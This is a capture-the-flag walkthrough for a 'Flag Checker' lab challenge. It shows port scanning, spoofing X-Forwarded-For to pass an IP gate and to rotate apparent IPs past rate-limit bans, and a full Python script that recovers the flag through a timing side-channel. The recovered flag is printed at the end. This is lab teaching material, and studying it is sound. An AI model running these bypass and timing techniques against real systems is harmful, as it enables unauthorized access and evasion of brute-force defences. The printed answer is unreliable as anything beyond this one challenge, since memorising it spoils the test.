Flag Checker đźš© - Timing Side-Channel via X-Forwarded-For
A walkthrough of the Flag Checker challenge, where we
bypass a proxy/IP gate with
X-Forwarded-For and then abuse a
timing side-channel to recover the flag one character at a time
while dodging brute-force controls.
Challenge Prompt
“We've decided to make this challenge really straight forward. All you have to do is find out the flag!
Juuuust make sure not to trip any of the security controls implemented to stop brute force attacks...”
1. Core Idea
The core behavior of the app looks like this:
-
The app only “trusts” requests that look like they come through a
proxy, by checking
X-Forwarded-For. - Once past that gate, the flag checker leaks a timing side-channel: the response time grows as more leading characters of a guess are correct.
- We measure that timing to recover the flag one character at a time, while rotating IPs to dodge bans and brute-force controls.
2. Recon - What’s running on the target?
a. Port scan
First step: classic port scan against the challenge target.
nmap -T4 -A -p- 10.1.160.39
What we learned was open:
- 80/tcp: nginx (front door of the app)
- 5000/tcp: Flask/Werkzeug (the app itself)
- 22/tcp: SSH
b. First look at the app
Hit the app directly and submit anything as the
flag parameter just to see how it
responds:
curl -i "http://10.1.160.39:5000/submit?flag=flag"
Observation:
The response is tiny and literally says “X-FORWARDED-FOR Header not present.”
X-Forwarded-For is present.
Browser DevTools confirmed the same behavior: there was no forward
header on the request, and the page just complained about the
missing
X-FORWARDED-FOR header.
Conceptually this is straightforward: the app is refusing requests unless an X-Forwarded-For (or similar proxy IP) header is present.
So the trick is to make the server think the request came from a trusted IP by adding the forwarded header (or one of the other IP headers apps commonly check).
3. Bypassing the proxy/IP gate
Web servers behind reverse proxies often trust
X-Forwarded-For (and/or
X-Real-IP) to read the
original client IP.
Let’s spoof being “local” by setting it to 127.0.0.1:
curl -i -H "X-Forwarded-For: 127.0.0.1" \
"http://10.1.160.39:5000/submit?flag=testing"
What changes:
- We no longer see the tiny “missing header” page.
- We get a full HTML page with a message - “Not Quite!”
Optional confirmation could have been done via port 80 (nginx fronting the app):
curl -i -H "X-Forwarded-For: 127.0.0.1" \
"http://10.1.160.39/submit?flag=testing"
For me, going straight to port 5000 sufficed.
The app also has brute-force controls. If you’re too noisy, you may see something like: “Stop Hacking! Your IP has been blocked.”
If that happens, you can rotate the apparent client IP by changing
X-Forwarded-For and
X-Real-IP:
curl -i \
-H "X-Forwarded-For: 10.23.45.67" \
-H "X-Real-IP: 172.20.14.88" \
-H "Connection: close" \
--cookie "" --cookie-jar /dev/null \
"http://10.1.160.39:5000/submit?flag=test"
4. Spotting the side-channel (timing leak)
With the gate bypassed, the next step is to look at what the response reveals.
The app helpfully sets an
X-Response-Time header in each
response (e.g., 0.000969).
X-Response-Time,
which we can treat as a built-in timing oracle.
Even if that header weren’t present, you could always measure wall-clock time yourself.
Hypothesis:
Many “flag checkers” compare your guess to the real flag character-by-character and stop at the first mismatch. If your prefix is longer and correct, it takes longer before it fails.
Time reveals how many leading characters you got right - that's the side-channel.
5. Building a simple timing experiment
Next, I wanted to confirm whether timing really grows with the length of the correct prefix.
You can do a quick test with
curl and the
X-Response-Time header:
curl -s -D - -H "X-Forwarded-For: 127.0.0.1" \
"http://10.1.160.39:5000/submit?flag=flag{" \
-o /dev/null | grep -i x-response-time
Then try flag{0,
flag{1, and compare. You’ll see
clusters of times.
That’s your signal.
Important: the server adds rate limits and bans. After enough requests from one IP, it will complain about hacking and block you. The hint explicitly says to change IP if you get banned.
Since the app trusts
X-Forwarded-For, we can rotate the
apparent IP by changing the header value on each request
(e.g., 10.x.x.x, 172.16.x.x,
192.168.x.x).
6. Turning the signal into an attack
a. Strategy
The high-level strategy for the script looks like this:
-
Always send
X-Forwarded-For(and rotate it every request). - For position i of the flag:
- Measure a baseline: timing for the current prefix.
- Try every candidate next char, several times each.
-
Compute the delta:
candidate_median - baseline_median. - Pick the char with the largest positive delta.
- Confirm it with extra trials before locking it in.
-
Only accept 32 hex characters inside the braces
(known format), then append
}and POST the result to verify.
Why 32 hex? Previous flags followed
flag{<32 hex>}. Enforcing that prevents the
script from choosing } too early due to noise.
b. The working script
Based on all this, I asked ChatGPT to draft a Python script to
automate the attack, then saved it as
flag_checker.py:
#!/usr/bin/env python3
import requests, random, time, os
from statistics import median
BASE_GET = "http://10.1.160.39:5000/submit?flag="
BASE_POST = "http://10.1.160.39:5000/submit"
UA = "timing-oracle/strict-hex/1.0"
START = "flag{"
HEX = "0123456789abcdef"
HEX_LEN = 32
TRIALS_BASE = 8
TRIALS_CAND = 8
TRIALS_CONFIRM = 12
TIMEOUT = 6.0
JITTER = (0.06, 0.14)
IGNORE_SZ = 69
RESUME = "progress.txt"
S = requests.Session()
S.headers.update({"User-Agent": UA})
def rand_ip():
pool = random.choice([
(10, random.randint(0,255), random.randint(0,255), random.randint(1,254)),
(172, random.randint(16,31), random.randint(0,255), random.randint(1,254)),
(192,168, random.randint(0,255), random.randint(1,254)),
(127,0,0,1),
])
return ".".join(map(str, pool))
def hit(candidate):
hdr = {"X-Forwarded-For": rand_ip(), "X-Real-IP": rand_ip()}
t0 = time.perf_counter()
r = S.get(BASE_GET + candidate, headers=hdr, timeout=TIMEOUT)
wall = time.perf_counter() - t0
xr = r.headers.get("X-Response-Time")
try:
xrf = float(xr) if xr else None
except Exception:
xrf = None
return r.status_code, len(r.text), xrf, wall
def run_trials(candidate, n):
vals = []
while len(vals) < n:
sc, sz, xrf, wall = hit(candidate)
if sc is None or sz == IGNORE_SZ or wall < 0.002:
time.sleep(0.05)
continue
vals.append((xrf if xrf is not None else wall, wall, sz))
time.sleep(random.uniform(*JITTER))
return vals
def med_time(vals):
return median([v[0] for v in vals]) if vals else 0.0
def baseline(prefix):
return med_time(run_trials(prefix, TRIALS_BASE))
def load():
if os.path.exists(RESUME):
p = open(RESUME, "r", encoding="utf-8").read().strip()
if p.startswith(START):
return p
return START
def save(p):
open(RESUME, "w", encoding="utf-8").write(p)
def main():
prefix = load()
print("[*] resume:", prefix)
while len(prefix) < len(START) + HEX_LEN:
base = baseline(prefix)
print(f"[+] baseline({prefix!r})={base:.6f}")
best_c, best_delta = None, -1e9
for ch in HEX:
m = med_time(run_trials(prefix + ch, TRIALS_CAND))
dlt = m - base
print(f" try {prefix+ch!r} -> med={m:.6f} delta={dlt:.6f}")
if dlt > best_delta:
best_delta, best_c = dlt, ch
conf = med_time(run_trials(prefix + best_c, TRIALS_CONFIRM))
if conf - base < 0.003:
print(f"[!] weak signal for {best_c!r}; retrying...")
time.sleep(1.2)
continue
prefix += best_c
save(prefix)
print(f"[+] accept {best_c!r} -> {prefix!r}")
time.sleep(0.6 + random.uniform(0.1, 0.3))
candidate = prefix + "}"
print("[*] completed 32 hex; testing closing brace...")
if med_time(run_trials(candidate, TRIALS_CONFIRM)) - baseline(prefix) < 0.003:
print("[!] brace not clearly better; try again shortly.")
time.sleep(1.5)
else:
prefix = candidate
save(prefix)
print(f"[+] candidate flag: {prefix}")
if __name__ == "__main__":
main()
Then, run the script:
python3 flag_checker.py
The script prints baselines, tries each candidate character,
confirms the best one, and appends it to the prefix. It won’t accept
} early; it requires exactly 32 hex characters first,
then tests the closing brace.
7. Flag Checker
After a slow grind, it finally completed and recovered the flag.
The flag was:
flag{77ba0346d9565e77344b9fe40ecf1369}
8. Extra notes
What is X-Forwarded-For?
It’s a header added by proxies to record the original client IP
(e.g.,
1.2.3.4, proxy-ip). Apps behind proxies often read it
to figure out who really connected. Here, the app refuses to run
unless this header is present.
What is a timing attack?
Any time the server’s processing time depends on how “close” your guess is to a secret, you can use timing to recover that secret character-by-character. Measuring medians of multiple trials helps smooth out network noise.
Why rotate IPs?
The app bans IPs that send too many guesses. Rotating the apparent
client IP in
X-Forwarded-For lets you keep going
while sidestepping per-IP rate limits.